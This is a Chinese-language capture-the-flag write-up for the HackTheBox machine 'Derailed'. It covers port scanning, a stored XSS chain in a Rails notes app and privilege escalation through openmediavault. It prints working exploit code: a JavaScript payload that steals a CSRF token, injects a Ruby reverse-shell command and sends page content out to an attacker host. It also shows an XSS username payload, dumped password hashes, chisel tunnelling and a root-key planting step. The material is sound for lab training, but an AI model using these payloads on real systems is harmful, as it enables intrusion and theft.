file

信息收集

开放的端口:

22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 16:23:b0:9a:de:0e:34:92:cb:2b:18:17:0f:f2:7b:1a (RSA)
|   256 50:44:5e:88:6b:3e:4b:5b:f9:34:1d:ed:e5:2d:91:df (ECDSA)
|_  256 0a:bd:92:23:df:44:02:6f:27:8d:a6:ab:b4:07:78:37 (ED25519)
3000/tcp open  http    nginx 1.18.0
|_http-title: derailed.htb
|_http-server-header: nginx/1.18.0

存在的目录/文件

/administration       (Status: 302) [Size: 96] [--> http://derailed.htb:3000/login]
/logout               (Status: 302) [Size: 91] [--> http://derailed.htb:3000/]
/login                (Status: 200) [Size: 5592]
/register             (Status: 200) [Size: 5908]

从特殊途径得知,3000端口使用了ruby-rail的web框架,还存在以下路径:

rails/info/properties
rails/info/routes

立足点

整个网站的提供的服务大概如下:

创建笔记->查看笔记->举报笔记->admin查看被举报的笔记。

在上述的流程中,但凡admin查看被举报的笔记中存在XSS内容,我们就可以让它执行其它的操作。

为了缩减文章篇幅,我只记录最终的渗透步骤:

第一步,创建一个笔记,得到一个笔记链接:

function getMiddleText(content,leftStr,rightStr){
	var startIndex = content.indexOf(leftStr)+leftStr.length;
	var endIndex = content.indexOf(rightStr);
	return content.substr(startIndex,endIndex-startIndex);
}
fetch(`http://derailed.htb:3000/administration`)
.then((rep)=>{return rep.text()})
.then((content)=>{
	let token = getMiddleText(content,`authenticity_token" value="`,`" autocomplete=`);
	fetch("http://derailed.htb:3000/administration/reports", {
	  "headers": {
	    "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
	    "content-type": "application/x-www-form-urlencoded",
	  },
	  "referrer": "http://derailed.htb:3000/administration",
	  "referrerPolicy": "strict-origin-when-cross-origin",
	  "body": `authenticity_token=${token}&report_log=|ruby+-rsocket+-e'spawn("sh",[:in,:out,:err]=>TCPSocket.new(<your ip>,4444))'`,
	  "method": "POST",
	  "mode": "cors",
	}).then((rep=>{
		return rep.text();
	})).then((text)=>{
		fetch("http://<your ip>/data/"+btoa(text));
	});
})

第二步,注册用户,用户名为:

uOwn3LyfqH284ap_StS0bIcqAl3v7qMM0SZAxiwBrP9oHDBS<img src='1.jpg' onerror='fetch(`http://derailed.htb:3000/clipnotes/raw/${id}`).then((rep)=>{return rep.json()}).then((content)=>{console.log(content);eval(content["content"])});'>

第三步,以该用户登录,创建一条新笔记,然后举报该笔记。

第四步,监听4444端口,等待shell反弹,get shell。

横向移动

拿到shell之后,我们发现rails用户属于ssh用户组,因此,我们可以写一个公钥进authorized_keys里。

在/var/www/rails-app/db/目录下存在一个sqlite的数据库development.sqlite3,在users表里发现有alice和toty用户,其密码的哈希如下:

1|alice|$2a$12$hkqXQw6n0CxwBxEW/0obHOb.0/Grwie/4z95W3BhoFqpQRKIAxI7.|administrator|2022-05-30 18:02:45.319074|2022-05-30 18:02:45.319074
2|toby|$2a$12$AD54WZ4XBxPbNW/5gWUIKu0Hpv9UKN5RML3sDLuIqNqqimqnZYyle|user|2022-05-30 18:02:45.542476|2022-05-30 18:02:45.542476

通过john进行哈希碰撞后得到密码:greenday

接下来,可以通过greenday密码横向移动至openmediavault-webgui用户。

提权

接下来的提权就比较简单了,首先运行:/usr/sbin/omv-firstaid,可以重置openmediavault中web console密码。

然后,通过chisel工具,将80端口转发至本地:

# 本机
./chisel server -p 8001 --reverse
#靶机
./chisel client 10.10.16.6:8001 R:10.10.16.6:8888:10.10.11.190:80

接下来,修改/etc/openmediavault/config.xml文件,找到uuid为e3f59fea-4be7-4695-b0d5-560f25072d4a的项目,将name改为root,sshpubkeys改为RFC 4716标准的公钥。(转换命令为:ssh-keygen -e -f id_rsa.pub)

<user>
          <uuid>e3f59fea-4be7-4695-b0d5-560f25072d4a</uuid>
          <name>root</name>
          <email></email>
          <disallowusermod>0</disallowusermod>
          <sshpubkeys>
		  <sshpubkey>[RFC 4716标准的公钥]</sshpubkey>
		  </sshpubkeys>
        </user>

最后,在web console页面修改ssh配置,提交,get root shell!